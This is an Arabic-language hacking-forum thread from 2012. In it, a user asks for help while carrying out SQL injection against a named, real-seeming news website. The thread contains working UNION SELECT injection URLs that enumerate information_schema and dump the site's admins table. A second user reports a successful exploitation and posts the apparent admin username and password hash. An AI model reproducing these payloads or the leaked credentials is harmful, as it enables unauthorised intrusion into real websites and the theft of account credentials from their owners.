:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/forumdisplay.php?f=343)
-   -   [استفسار] مشكلة فى عمود الادمن اثناء الحقن (http://www.vbspiders.com/vb/showthread.php?t=64818)

folkhero 09-20-2012 12:11 AM
مشكلة فى عمود الادمن اثناء الحقن
 
اثناء اختراقى لموقع مصاب بثغرة sql
تصفحت العواميد باستخدام الامر limit number.1
وعرفت ان الاسم admins
وعرفت اليوسر والباس
دلوقتى لما اجى اطبق وادوس
from+ admins---
يظهرلى خطأ رغم ان هذا الاسم المطلوب

وجزاكم الله خيرا

ReD-HaT 09-20-2012 12:47 AM
رد: مشكلة فى عمود الادمن اثناء الحقن
 
اخي يمكن انت أخطأت في شئ ما في الرابط
وضح أكثر لحتى أساعدك

folkhero 09-20-2012 01:26 AM
رد: مشكلة فى عمود الادمن اثناء الحقن
 
كود PHP:
اليوزر نيم 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+184,1--

الباسورد 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+185,1--

لما اطبق يظهر خطأ
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28username,0x3a3a,password%29,7,8,9,10,11,12,13,14,15+from+admins-- 

abdoog 09-20-2012 02:25 AM
رد: مشكلة فى عمود الادمن اثناء الحقن
 
تم الاستغلال بنجاح
رابط الاستغلال هنا
اليوزر

clivedorman

الباس
::f513b30a6ed5ec2f9ff1be4908cc0182

راجع الدورات والدروس اخي الريم

folkhero 09-20-2012 02:47 AM
رد: مشكلة فى عمود الادمن اثناء الحقن
 
الف الف شكر يا كبير
ربنا يجازيك خير

abdoog 09-20-2012 02:56 AM
رد: مشكلة فى عمود الادمن اثناء الحقن
 
امين وياك اخي الكريم


الساعة الآن 03:22 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0